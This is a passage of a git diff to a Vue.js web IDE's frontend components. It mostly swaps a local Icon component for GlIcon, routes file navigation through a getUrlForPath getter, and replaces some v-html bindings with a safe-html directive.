return this.updateCommitAction(consts.COMMIT_TO_NEW_BRANCH).then(() => this.commit());
@@ -164,17 +185,14 @@ export default {
</button>
</div>
<gl-modal
- ref="createBranchModal"
- modal-id="ide-create-branch-modal"
- :ok-title="__('Create new branch')"
- :title="__('Branch has changed')"
- ok-variant="success"
+ ref="commitErrorModal"
+ modal-id="ide-commit-error-modal"
+ :title="lastCommitError.title"
+ :action-primary="commitErrorPrimaryAction"
+ :action-cancel="{ text: __('Cancel') }"
@ok="forceCreateNewBranch"
>
- {{
- __(`This branch has changed since you started editing.
- Would you like to create a new branch?`)
- }}
+ <div v-safe-html="lastCommitError.messageHTML"></div>
</gl-modal>
</form>
</transition>
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/list.vue b/app/assets/javascripts/ide/components/commit_sidebar/list.vue
index d1422a506e7..609ce287d3f 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/list.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/list.vue
@@ -1,14 +1,13 @@
<script>
import { mapActions } from 'vuex';
-import { GlModal } from '@gitlab/ui';
+import { GlModal, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import tooltip from '~/vue_shared/directives/tooltip';
import ListItem from './list_item.vue';
export default {
components: {
- Icon,
+ GlIcon,
ListItem,
GlModal,
},
@@ -74,7 +73,7 @@ export default {
<div class="ide-commit-list-container">
<header class="multi-file-commit-panel-header d-flex mb-0">
<div class="d-flex align-items-center flex-fill">
- <icon v-once :name="iconName" :size="18" class="gl-mr-3" />
+ <gl-icon v-once :name="iconName" :size="18" class="gl-mr-3" />
<strong> {{ titleText }} </strong>
<div class="d-flex ml-auto">
<button
@@ -93,7 +92,7 @@ export default {
data-boundary="viewport"
@click="openDiscardModal"
>
- <icon :size="16" name="remove-all" class="ml-auto mr-auto position-top-0" />
+ <gl-icon :size="16" name="remove-all" class="ml-auto mr-auto position-top-0" />
</button>
</div>
</div>
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/list_collapsed.vue b/app/assets/javascripts/ide/components/commit_sidebar/list_collapsed.vue
index 1b257ca11cc..4821b8389ff 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/list_collapsed.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/list_collapsed.vue
@@ -1,11 +1,11 @@
<script>
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
import { sprintf, n__, __ } from '~/locale';
export default {
components: {
- Icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -77,7 +77,7 @@ export default {
data-placement="left"
class="gl-mb-5"
>
- <icon v-once :name="iconName" :size="18" />
+ <gl-icon v-once :name="iconName" :size="18" />
</div>
<div
v-tooltip
@@ -86,7 +86,7 @@ export default {
data-placement="left"
class="gl-mb-3"
>
- <icon :name="additionIconName" :size="18" :class="addedFilesIconClass" />
+ <gl-icon :name="additionIconName" :size="18" :class="addedFilesIconClass" />
</div>
{{ addedFilesLength }}
<div
@@ -96,7 +96,7 @@ export default {
data-placement="left"
class="gl-mt-3 gl-mb-3"
>
- <icon :name="modifiedIconName" :size="18" :class="modifiedFilesClass" />
+ <gl-icon :name="modifiedIconName" :size="18" :class="modifiedFilesClass" />
</div>
{{ modifiedFilesLength }}
</div>
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/list_item.vue b/app/assets/javascripts/ide/components/commit_sidebar/list_item.vue
index c65169f5d31..a0d6cf3c42d 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/list_item.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/list_item.vue
@@ -1,14 +1,14 @@
<script>
import { mapActions } from 'vuex';
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
-import Icon from '~/vue_shared/components/icon.vue';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import { viewerTypes } from '../../constants';
import getCommitIconMap from '../../commit_icon';
export default {
components: {
- Icon,
+ GlIcon,
FileIcon,
},
directives: {
@@ -95,7 +95,7 @@ export default {
</span>
<div class="ml-auto d-flex align-items-center">
<div class="d-flex align-items-center ide-commit-list-changed-icon">
- <icon :name="iconName" :size="16" :class="iconClass" />
+ <gl-icon :name="iconName" :size="16" :class="iconClass" />
</div>
</div>
</div>
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/message_field.vue b/app/assets/javascripts/ide/components/commit_sidebar/message_field.vue
index b37c7280a30..2787b10a48b 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/message_field.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/message_field.vue
@@ -1,6 +1,6 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { __, sprintf } from '../../../locale';
-import Icon from '../../../vue_shared/components/icon.vue';
import popover from '../../../vue_shared/directives/popover';
import { MAX_TITLE_LENGTH, MAX_BODY_LENGTH } from '../../constants';
@@ -9,7 +9,7 @@ export default {
popover,
},
components: {
- Icon,
+ GlIcon,
},
props: {
text: {
@@ -84,7 +84,7 @@ export default {
<li>
{{ __('Commit Message') }}
<span v-popover="$options.popoverOptions" class="form-text text-muted gl-ml-3">
- <icon name="question" />
+ <gl-icon name="question" />
</span>
</li>
</ul>
diff --git a/app/assets/javascripts/ide/components/commit_sidebar/success_message.vue b/app/assets/javascripts/ide/components/commit_sidebar/success_message.vue
index 327b0b8172f..977efb0ca22 100644
--- a/app/assets/javascripts/ide/components/commit_sidebar/success_message.vue
+++ b/app/assets/javascripts/ide/components/commit_sidebar/success_message.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapState } from 'vuex';
export default {
diff --git a/app/assets/javascripts/ide/components/error_message.vue b/app/assets/javascripts/ide/components/error_message.vue
index d36adbd798e..08635b43b91 100644
--- a/app/assets/javascripts/ide/components/error_message.vue
+++ b/app/assets/javascripts/ide/components/error_message.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapActions } from 'vuex';
import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
diff --git a/app/assets/javascripts/ide/components/file_row_extra.vue b/app/assets/javascripts/ide/components/file_row_extra.vue
index f7cf7a5b251..48ab58e1cb7 100644
--- a/app/assets/javascripts/ide/components/file_row_extra.vue
+++ b/app/assets/javascripts/ide/components/file_row_extra.vue
@@ -1,8 +1,8 @@
<script>
import { mapGetters } from 'vuex';
+import { GlIcon } from '@gitlab/ui';
import { n__ } from '~/locale';
import tooltip from '~/vue_shared/directives/tooltip';
-import Icon from '~/vue_shared/components/icon.vue';
import ChangedFileIcon from '~/vue_shared/components/changed_file_icon.vue';
import NewDropdown from './new_dropdown/index.vue';
import MrFileIcon from './mr_file_icon.vue';
@@ -13,7 +13,7 @@ export default {
tooltip,
},
components: {
- Icon,
+ GlIcon,
NewDropdown,
ChangedFileIcon,
MrFileIcon,
@@ -69,7 +69,7 @@ export default {
<mr-file-icon v-if="file.mrChange" />
<span v-if="showTreeChangesCount" class="ide-tree-changes">
{{ changesCount }}
- <icon
+ <gl-icon
v-tooltip
:title="folderChangesTooltip"
:size="12"
diff --git a/app/assets/javascripts/ide/components/ide.vue b/app/assets/javascripts/ide/components/ide.vue
index 55b3eaf9737..1b03d9eee8b 100644
--- a/app/assets/javascripts/ide/components/ide.vue
+++ b/app/assets/javascripts/ide/components/ide.vue
@@ -47,6 +47,7 @@ export default {
'emptyRepo',
'currentTree',
'editorTheme',
+ 'getUrlForPath',
]),
themeName() {
return window.gon?.user_color_scheme;
@@ -71,7 +72,7 @@ export default {
return returnValue;
},
openFile(file) {
- this.$router.push(`/project${file.url}`);
+ this.$router.push(this.getUrlForPath(file.path));
},
createNewFile() {
this.$refs.newModal.open(modalTypes.blob);
diff --git a/app/assets/javascripts/ide/components/ide_file_row.vue b/app/assets/javascripts/ide/components/ide_file_row.vue
index b777d89f0bb..248677d6a99 100644
--- a/app/assets/javascripts/ide/components/ide_file_row.vue
+++ b/app/assets/javascripts/ide/components/ide_file_row.vue
@@ -3,6 +3,7 @@
* This component is an iterative step towards refactoring and simplifying `vue_shared/components/file_row.vue`
* https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23720
*/
+import { mapGetters } from 'vuex';
import FileRow from '~/vue_shared/components/file_row.vue';
import FileRowExtra from './file_row_extra.vue';
@@ -23,6 +24,9 @@ export default {
dropdownOpen: false,
};
},
+ computed: {
+ ...mapGetters(['getUrlForPath']),
+ },
methods: {
toggleDropdown(val) {
this.dropdownOpen = val;
@@ -32,7 +36,13 @@ export default {
</script>
<template>
- <file-row :file="file" v-bind="$attrs" @mouseleave="toggleDropdown(false)" v-on="$listeners">
+ <file-row
+ :file="file"
+ :file-url="getUrlForPath(file.path)"
+ v-bind="$attrs"
+ @mouseleave="toggleDropdown(false)"
+ v-on="$listeners"
+ >
<file-row-extra :file="file" :dropdown-open="dropdownOpen" @toggle="toggleDropdown($event)" />
</file-row>
</template>
diff --git a/app/assets/javascripts/ide/components/ide_review.vue b/app/assets/javascripts/ide/components/ide_review.vue
index 95348711e1d..e36d0a5a5b1 100644
--- a/app/assets/javascripts/ide/components/ide_review.vue
+++ b/app/assets/javascripts/ide/components/ide_review.vue
@@ -10,7 +10,7 @@ export default {
EditorModeDropdown,
},
computed: {
- ...mapGetters(['currentMergeRequest', 'activeFile']),
+ ...mapGetters(['currentMergeRequest', 'activeFile', 'getUrlForPath']),
...mapState(['viewer', 'currentMergeRequestId']),
showLatestChangesText() {
return !this.currentMergeRequestId || this.viewer === viewerTypes.diff;
@@ -24,7 +24,7 @@ export default {
},
mounted() {
if (this.activeFile && this.activeFile.pending && !this.activeFile.deleted) {
- this.$router.push(`/project${this.activeFile.url}`, () => {
+ this.$router.push(this.getUrlForPath(this.activeFile.path), () => {
this.updateViewer('editor');
});
} else if (this.activeFile && this.activeFile.deleted) {
diff --git a/app/assets/javascripts/ide/components/ide_side_bar.vue b/app/assets/javascripts/ide/components/ide_side_bar.vue
index 1eb89b41495..ed68ca5cae9 100644
--- a/app/assets/javascripts/ide/components/ide_side_bar.vue
+++ b/app/assets/javascripts/ide/components/ide_side_bar.vue
@@ -1,6 +1,6 @@
<script>
import { mapState, mapGetters } from 'vuex';
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import IdeTree from './ide_tree.vue';
import ResizablePanel from './resizable_panel.vue';
import ActivityBar from './activity_bar.vue';
diff --git a/app/assets/javascripts/ide/components/ide_status_bar.vue b/app/assets/javascripts/ide/components/ide_status_bar.vue
index ddc126c3d77..146e818d654 100644
--- a/app/assets/javascripts/ide/components/ide_status_bar.vue
+++ b/app/assets/javascripts/ide/components/ide_status_bar.vue
@@ -1,9 +1,9 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
import { mapActions, mapState, mapGetters } from 'vuex';
+import { GlIcon } from '@gitlab/ui';
import IdeStatusList from './ide_status_list.vue';
import IdeStatusMr from './ide_status_mr.vue';
-import icon from '~/vue_shared/components/icon.vue';
import tooltip from '~/vue_shared/directives/tooltip';
import timeAgoMixin from '~/vue_shared/mixins/timeago';
import CiIcon from '../../vue_shared/components/ci_icon.vue';
@@ -12,7 +12,7 @@ import { rightSidebarViews } from '../constants';
export default {
components: {
- icon,
+ GlIcon,
userAvatarImage,
CiIcon,
IdeStatusList,
@@ -97,12 +97,13 @@ export default {
{{ latestPipeline.details.status.text }} for
</span>
- <icon name="commit" />
+ <gl-icon name="commit" />
<a
v-tooltip
:title="lastCommit.message"
:href="getCommitPath(lastCommit.short_id)"
class="commit-sha"
+ data-qa-selector="commit_sha_content"
>{{ lastCommit.short_id }}</a
>
by
diff --git a/app/assets/javascripts/ide/components/ide_status_list.vue b/app/assets/javascripts/ide/components/ide_status_list.vue
index 1354fdc3d98..caa122f6ed2 100644
--- a/app/assets/javascripts/ide/components/ide_status_list.vue
+++ b/app/assets/javascripts/ide/components/ide_status_list.vue
@@ -2,7 +2,7 @@
import { mapGetters } from 'vuex';
import { GlLink, GlTooltipDirective } from '@gitlab/ui';
import TerminalSyncStatusSafe from './terminal_sync/terminal_sync_status_safe.vue';
-import { getFileEOL } from '../utils';
+import { isTextFile, getFileEOL } from '~/ide/utils';
export default {
components: {
@@ -17,6 +17,9 @@ export default {
activeFileEOL() {
return getFileEOL(this.activeFile.content);
},
+ activeFileIsText() {
+ return isTextFile(this.activeFile);
+ },
},
};
</script>
@@ -30,7 +33,7 @@ export default {
</gl-link>
</div>
<div>{{ activeFileEOL }}</div>
- <div v-if="!activeFile.binary">{{ activeFile.editorRow }}:{{ activeFile.editorColumn }}</div>
+ <div v-if="activeFileIsText">{{ activeFile.editorRow }}:{{ activeFile.editorColumn }}</div>
<div>{{ activeFile.fileLanguage }}</div>
</template>
<terminal-sync-status-safe />
diff --git a/app/assets/javascripts/ide/components/ide_tree.vue b/app/assets/javascripts/ide/components/ide_tree.vue
index 647f4d4be85..747d5044790 100644
--- a/app/assets/javascripts/ide/components/ide_tree.vue
+++ b/app/assets/javascripts/ide/components/ide_tree.vue
@@ -15,13 +15,13 @@ export default {
},
computed: {
...mapState(['currentBranchId']),
- ...mapGetters(['currentProject', 'currentTree', 'activeFile']),
+ ...mapGetters(['currentProject', 'currentTree', 'activeFile', 'getUrlForPath']),
},
mounted() {
if (!this.activeFile) return;
if (this.activeFile.pending && !this.activeFile.deleted) {
- this.$router.push(`/project${this.activeFile.url}`, () => {
+ this.$router.push(this.getUrlForPath(this.activeFile.path), () => {
this.updateViewer('editor');
});
} else if (this.activeFile.deleted) {
diff --git a/app/assets/javascripts/ide/components/ide_tree_list.vue b/app/assets/javascripts/ide/components/ide_tree_list.vue
index 36e8951bea3..776d8459515 100644
--- a/app/assets/javascripts/ide/components/ide_tree_list.vue
+++ b/app/assets/javascripts/ide/components/ide_tree_list.vue
@@ -1,6 +1,6 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import FileTree from '~/vue_shared/components/file_tree.vue';
import IdeFileRow from './ide_file_row.vue';
import NavDropdown from './nav_dropdown.vue';
diff --git a/app/assets/javascripts/ide/components/jobs/detail.vue b/app/assets/javascripts/ide/components/jobs/detail.vue
index 975d54c7a4e..11033a5cc88 100644
--- a/app/assets/javascripts/ide/components/jobs/detail.vue
+++ b/app/assets/javascripts/ide/components/jobs/detail.vue
@@ -1,9 +1,10 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapActions, mapState } from 'vuex';
import { throttle } from 'lodash';
+import { GlIcon } from '@gitlab/ui';
import { __ } from '../../../locale';
import tooltip from '../../../vue_shared/directives/tooltip';
-import Icon from '../../../vue_shared/components/icon.vue';
import ScrollButton from './detail/scroll_button.vue';
import JobDescription from './detail/description.vue';
@@ -17,7 +18,7 @@ export default {
tooltip,
},
components: {
- Icon,
+ GlIcon,
ScrollButton,
JobDescription,
},
@@ -39,10 +40,10 @@ export default {
},
},
mounted() {
- this.getTrace();
+ this.getLogs();
},
methods: {
- ...mapActions('pipelines', ['fetchJobTrace', 'setDetailJob']),
+ ...mapActions('pipelines', ['fetchJobLogs', 'setDetailJob']),
scrollDown() {
if (this.$refs.buildTrace) {
this.$refs.buildTrace.scrollTo(0, this.$refs.buildTrace.scrollHeight);
@@ -65,8 +66,8 @@ export default {
this.scrollPos = '';
}
}),
- getTrace() {
- return this.fetchJobTrace().then(() => this.scrollDown());
+ getLogs() {
+ return this.fetchJobLogs().then(() => this.scrollDown());
},
},
};
@@ -76,7 +77,7 @@ export default {
<div class="ide-pipeline build-page d-flex flex-column flex-fill">
<header class="ide-job-header d-flex align-items-center">
<button class="btn btn-default btn-sm d-flex" @click="setDetailJob(null)">
- <icon name="chevron-left" /> {{ __('View jobs') }}
+ <gl-icon name="chevron-left" /> {{ __('View jobs') }}
</button>
</header>
<div class="top-bar d-flex border-left-0 mr-3">
diff --git a/app/assets/javascripts/ide/components/jobs/detail/description.vue b/app/assets/javascripts/ide/components/jobs/detail/description.vue
index f1ba102fffe..9eaeabad5ef 100644
--- a/app/assets/javascripts/ide/components/jobs/detail/description.vue
+++ b/app/assets/javascripts/ide/components/jobs/detail/description.vue
@@ -1,10 +1,10 @@
<script>
-import Icon from '../../../../vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import CiIcon from '../../../../vue_shared/components/ci_icon.vue';
export default {
components: {
- Icon,
+ GlIcon,
CiIcon,
},
props: {
@@ -26,8 +26,14 @@ export default {
<ci-icon :status="job.status" :borderless="true" :size="24" class="d-flex" />
<span class="gl-ml-3">
{{ job.name }}
- <a :href="job.path" target="_blank" class="ide-external-link position-relative">
- {{ jobId }} <icon :size="12" name="external-link" />
+ <a
+ v-if="job.path"
+ :href="job.path"
+ target="_blank"
+ class="ide-external-link gl-relative"
+ data-testid="description-detail-link"
+ >
+ {{ jobId }} <gl-icon :size="12" name="external-link" />
</a>
</span>
</div>
diff --git a/app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue b/app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue
index 5674d3ffa80..2c679a3edc7 100644
--- a/app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue
+++ b/app/assets/javascripts/ide/components/jobs/detail/scroll_button.vue
@@ -1,6 +1,6 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { __ } from '../../../../locale';
-import Icon from '../../../../vue_shared/components/icon.vue';
import tooltip from '../../../../vue_shared/directives/tooltip';
const directions = {
@@ -13,7 +13,7 @@ export default {
tooltip,
},
components: {
- Icon,
+ GlIcon,
},
props: {
direction: {
@@ -58,7 +58,7 @@ export default {
type="button"
@click="clickedScroll"
>
- <icon :name="iconName" />
+ <gl-icon :name="iconName" />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/ide/components/jobs/stage.vue b/app/assets/javascripts/ide/components/jobs/stage.vue
index 75441e8c1c8..0b643947139 100644
--- a/app/assets/javascripts/ide/components/jobs/stage.vue
+++ b/app/assets/javascripts/ide/components/jobs/stage.vue
@@ -1,7 +1,6 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import tooltip from '../../../vue_shared/directives/tooltip';
-import Icon from '../../../vue_shared/components/icon.vue';
import CiIcon from '../../../vue_shared/components/ci_icon.vue';
import Item from './item.vue';
@@ -10,7 +9,7 @@ export default {
tooltip,
},
components: {
- Icon,
+ GlIcon,
CiIcon,
Item,
GlLoadingIcon,
@@ -78,7 +77,7 @@ export default {
<div v-if="!stage.isLoading || stage.jobs.length" class="gl-mr-3 gl-ml-2">
<span class="badge badge-pill"> {{ jobsCount }} </span>
</div>
- <icon :name="collapseIcon" class="ide-stage-collapse-icon" />
+ <gl-icon :name="collapseIcon" class="ide-stage-collapse-icon" />
</div>
<div v-show="!stage.isCollapsed" ref="jobList" class="card-body p-0">
<gl-loading-icon v-if="showLoadingIcon" />
diff --git a/app/assets/javascripts/ide/components/merge_requests/item.vue b/app/assets/javascripts/ide/components/merge_requests/item.vue
index 8b7b8d5a91c..7aa9a4f864a 100644
--- a/app/assets/javascripts/ide/components/merge_requests/item.vue
+++ b/app/assets/javascripts/ide/components/merge_requests/item.vue
@@ -1,9 +1,9 @@
<script>
-import Icon from '../../../vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
export default {
components: {
- Icon,
+ GlIcon,
},
props: {
item: {
@@ -41,7 +41,7 @@ export default {
<template>
<a :href="mergeRequestHref" class="btn-link d-flex align-items-center">
<span class="d-flex gl-mr-3 ide-search-list-current-icon">
- <icon v-if="isActive" :size="18" name="mobile-issue-close" />
+ <gl-icon v-if="isActive" :size="18" name="mobile-issue-close" />
</span>
<span>
<strong> {{ item.title }} </strong>
diff --git a/app/assets/javascripts/ide/components/merge_requests/list.vue b/app/assets/javascripts/ide/components/merge_requests/list.vue
index af45d88b84a..4b3c6e61e11 100644
--- a/app/assets/javascripts/ide/components/merge_requests/list.vue
+++ b/app/assets/javascripts/ide/components/merge_requests/list.vue
@@ -1,9 +1,8 @@
<script>
import { mapActions, mapState } from 'vuex';
import { debounce } from 'lodash';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
import Item from './item.vue';
import TokenedInput from '../shared/tokened_input.vue';
@@ -16,7 +15,7 @@ export default {
components: {
TokenedInput,
Item,
- Icon,
+ GlIcon,
GlLoadingIcon,
},
data() {
@@ -85,7 +84,7 @@ export default {
@input="searchMergeRequests"
@removeToken="setSearchType(null)"
/>
- <icon :size="18" name="search" class="ml-3 input-icon" />
+ <gl-icon :size="18" name="search" class="ml-3 input-icon" />
</label>
<div class="dropdown-content ide-merge-requests-dropdown-content d-flex">
<gl-loading-icon
@@ -103,7 +102,7 @@ export default {
@click.stop="setSearchType(searchType)"
>
<span class="d-flex gl-mr-3 ide-search-list-current-icon">
- <icon :size="18" name="search" />
+ <gl-icon :size="18" name="search" />
</span>
<span>{{ searchType.label }}</span>
</button>
diff --git a/app/assets/javascripts/ide/components/mr_file_icon.vue b/app/assets/javascripts/ide/components/mr_file_icon.vue
index 4fab57b6f3e..c8629a869e0 100644
--- a/app/assets/javascripts/ide/components/mr_file_icon.vue
+++ b/app/assets/javascripts/ide/components/mr_file_icon.vue
@@ -1,10 +1,10 @@
<script>
-import icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
export default {
components: {
- icon,
+ GlIcon,
},
directives: {
tooltip,
@@ -13,7 +13,7 @@ export default {
</script>
<template>
- <icon
+ <gl-icon
v-tooltip
:title="__('Part of merge request changes')"
:size="12"
diff --git a/app/assets/javascripts/ide/components/nav_dropdown_button.vue b/app/assets/javascripts/ide/components/nav_dropdown_button.vue
index 8dc22620eca..116d3cec03e 100644
--- a/app/assets/javascripts/ide/components/nav_dropdown_button.vue
+++ b/app/assets/javascripts/ide/components/nav_dropdown_button.vue
@@ -1,13 +1,13 @@
<script>
import { mapState } from 'vuex';
+import { GlIcon } from '@gitlab/ui';
import DropdownButton from '~/vue_shared/components/dropdown/dropdown_button.vue';
-import Icon from '~/vue_shared/components/icon.vue';
const EMPTY_LABEL = '-';
export default {
components: {
- Icon,
+ GlIcon,
DropdownButton,
},
props: {
@@ -33,10 +33,10 @@ export default {
<dropdown-button>
<span class="row flex-nowrap">
<span class="col-auto flex-fill text-truncate">
- <icon :size="16" :aria-label="__('Current Branch')" name="branch" /> {{ branchLabel }}
+ <gl-icon :size="16" :aria-label="__('Current Branch')" name="branch" /> {{ branchLabel }}
</span>
<span v-if="showMergeRequests" class="col-5 pl-0 text-truncate">
- <icon :size="16" :aria-label="__('Merge Request')" name="merge-request" />
+ <gl-icon :size="16" :aria-label="__('Merge Request')" name="merge-request" />
{{ mergeRequestLabel }}
</span>
</span>
diff --git a/app/assets/javascripts/ide/components/new_dropdown/button.vue b/app/assets/javascripts/ide/components/new_dropdown/button.vue
index 5bd6642930c..8ae8f97f237 100644
--- a/app/assets/javascripts/ide/components/new_dropdown/button.vue
+++ b/app/assets/javascripts/ide/components/new_dropdown/button.vue
@@ -1,5 +1,5 @@
<script>
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import tooltip from '~/vue_shared/directives/tooltip';
export default {
@@ -7,7 +7,7 @@ export default {
tooltip,
},
components: {
- Icon,
+ GlIcon,
},
props: {
label: {
@@ -52,7 +52,7 @@ export default {
class="btn-blank"
@click.stop.prevent="clicked"
>
- <icon :name="icon" :class="iconClasses" />
+ <gl-icon :name="icon" :class="iconClasses" />
<template v-if="showLabel">
{{ label }}
</template>
diff --git a/app/assets/javascripts/ide/components/new_dropdown/index.vue b/app/assets/javascripts/ide/components/new_dropdown/index.vue
index b656e35f150..692878de5e1 100644
--- a/app/assets/javascripts/ide/components/new_dropdown/index.vue
+++ b/app/assets/javascripts/ide/components/new_dropdown/index.vue
@@ -1,6 +1,6 @@
<script>
import { mapActions } from 'vuex';
-import icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import upload from './upload.vue';
import ItemButton from './button.vue';
import { modalTypes } from '../../constants';
@@ -8,7 +8,7 @@ import NewModal from './modal.vue';
export default {
components: {
- icon,
+ GlIcon,
upload,
ItemButton,
NewModal,
@@ -67,7 +67,7 @@ export default {
data-qa-selector="dropdown_button"
@click.stop="openDropdown()"
>
- <icon name="ellipsis_v" /> <icon name="chevron-down" />
+ <gl-icon name="ellipsis_v" /> <gl-icon name="chevron-down" />
</button>
<ul ref="dropdownMenu" class="dropdown-menu dropdown-menu-right">
<template v-if="type === 'tree'">
diff --git a/app/assets/javascripts/ide/components/new_dropdown/modal.vue b/app/assets/javascripts/ide/components/new_dropdown/modal.vue
index 44986c8c575..528475849de 100644
--- a/app/assets/javascripts/ide/components/new_dropdown/modal.vue
+++ b/app/assets/javascripts/ide/components/new_dropdown/modal.vue
@@ -1,6 +1,6 @@
<script>
import { mapActions, mapState, mapGetters } from 'vuex';
-import { GlModal } from '@gitlab/ui';
+import { GlModal, GlButton } from '@gitlab/ui';
import { deprecatedCreateFlash as flash } from '~/flash';
import { __, sprintf, s__ } from '~/locale';
import { modalTypes } from '../../constants';
@@ -9,6 +9,7 @@ import { trimPathComponents, getPathParent } from '../../utils';
export default {
components: {
GlModal,
+ GlButton,
},
data() {
return {
@@ -156,13 +157,14 @@ export default {
/>
<ul v-if="isCreatingNewFile" class="file-templates gl-mt-3 list-inline qa-template-list">
<li v-for="(template, index) in templateTypes" :key="index" class="list-inline-item">
- <button
- type="button"
- class="btn btn-missing p-1 pr-2 pl-2"
+ <gl-button
+ variant="dashed"
+ category="secondary"
+ class="p-1 pr-2 pl-2"
@click="createFromTemplate(template)"
>
{{ template.name }}
- </button>
+ </gl-button>
</li>
</ul>
</div>
diff --git a/app/assets/javascripts/ide/components/new_dropdown/upload.vue b/app/assets/javascripts/ide/components/new_dropdown/upload.vue
index b2141c13d9f..84ff05c9750 100644
--- a/app/assets/javascripts/ide/components/new_dropdown/upload.vue
+++ b/app/assets/javascripts/ide/components/new_dropdown/upload.vue
@@ -28,14 +28,13 @@ export default {
const { name } = file;
const encodedContent = target.result.split('base64,')[1];
const rawContent = encodedContent ? atob(encodedContent) : '';
- const isText = isTextFile(rawContent, file.type, name);
+ const isText = isTextFile({ content: rawContent, mimeType: file.type, name });
const emitCreateEvent = content =>
this.$emit('create', {
name: `${this.path ? `${this.path}/` : ''}${name}`,
type: 'blob',
content,
- binary: !isText,
rawPath: !isText ? target.result : '',
});
diff --git a/app/assets/javascripts/ide/components/panes/collapsible_sidebar.vue b/app/assets/javascripts/ide/components/panes/collapsible_sidebar.vue
index 4e8e1e3a470..f1b882d8f29 100644
--- a/app/assets/javascripts/ide/components/panes/collapsible_sidebar.vue
+++ b/app/assets/javascripts/ide/components/panes/collapsible_sidebar.vue
@@ -1,7 +1,6 @@
<script>
import { mapActions, mapState } from 'vuex';
import tooltip from '~/vue_shared/directives/tooltip';
-import Icon from '~/vue_shared/components/icon.vue';
import IdeSidebarNav from '../ide_sidebar_nav.vue';
export default {
@@ -10,7 +9,6 @@ export default {
tooltip,
},
components: {
- Icon,
IdeSidebarNav,
},
props: {
diff --git a/app/assets/javascripts/ide/components/pipelines/list.vue b/app/assets/javascripts/ide/components/pipelines/list.vue
index 6038e92f254..91bd64a2c9c 100644
--- a/app/assets/javascripts/ide/components/pipelines/list.vue
+++ b/app/assets/javascripts/ide/components/pipelines/list.vue
@@ -1,9 +1,8 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
import { escape } from 'lodash';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import { sprintf, __ } from '../../../locale';
-import Icon from '../../../vue_shared/components/icon.vue';
import CiIcon from '../../../vue_shared/components/ci_icon.vue';
import Tabs from '../../../vue_shared/components/tabs/tabs';
import Tab from '../../../vue_shared/components/tabs/tab.vue';
@@ -14,7 +13,7 @@ import IDEServices from '~/ide/services';
export default {
components: {
- Icon,
+ GlIcon,
CiIcon,
Tabs,
Tab,
@@ -22,6 +21,9 @@ export default {
EmptyState,
GlLoadingIcon,
},
+ directives: {
+ SafeHtml,
+ },
computed: {
...mapState(['pipelinesEmptyStateSvgPath', 'links']),
...mapGetters(['currentProject']),
@@ -70,7 +72,7 @@ export default {
target="_blank"
class="ide-external-link position-relative"
>
- #{{ latestPipeline.id }} <icon :size="12" name="external-link" />
+ #{{ latestPipeline.id }} <gl-icon :size="12" name="external-link" />
</a>
</span>
</header>
@@ -84,7 +86,7 @@ export default {
<div v-else-if="latestPipeline.yamlError" class="bs-callout bs-callout-danger">
<p class="gl-mb-0">{{ __('Found errors in your .gitlab-ci.yml:') }}</p>
<p class="gl-mb-0 break-word">{{ latestPipeline.yamlError }}</p>
- <p class="gl-mb-0" v-html="ciLintText"></p>
+ <p v-safe-html="ciLintText" class="gl-mb-0"></p>
</div>
<tabs v-else class="ide-pipeline-list">
<tab :active="!pipelineFailed">
diff --git a/app/assets/javascripts/ide/components/preview/navigator.vue b/app/assets/javascripts/ide/components/preview/navigator.vue
index 0de9dfd8827..60710251fef 100644
--- a/app/assets/javascripts/ide/components/preview/navigator.vue
+++ b/app/assets/javascripts/ide/components/preview/navigator.vue
@@ -1,11 +1,10 @@
<script>
import { listen } from 'codesandbox-api';
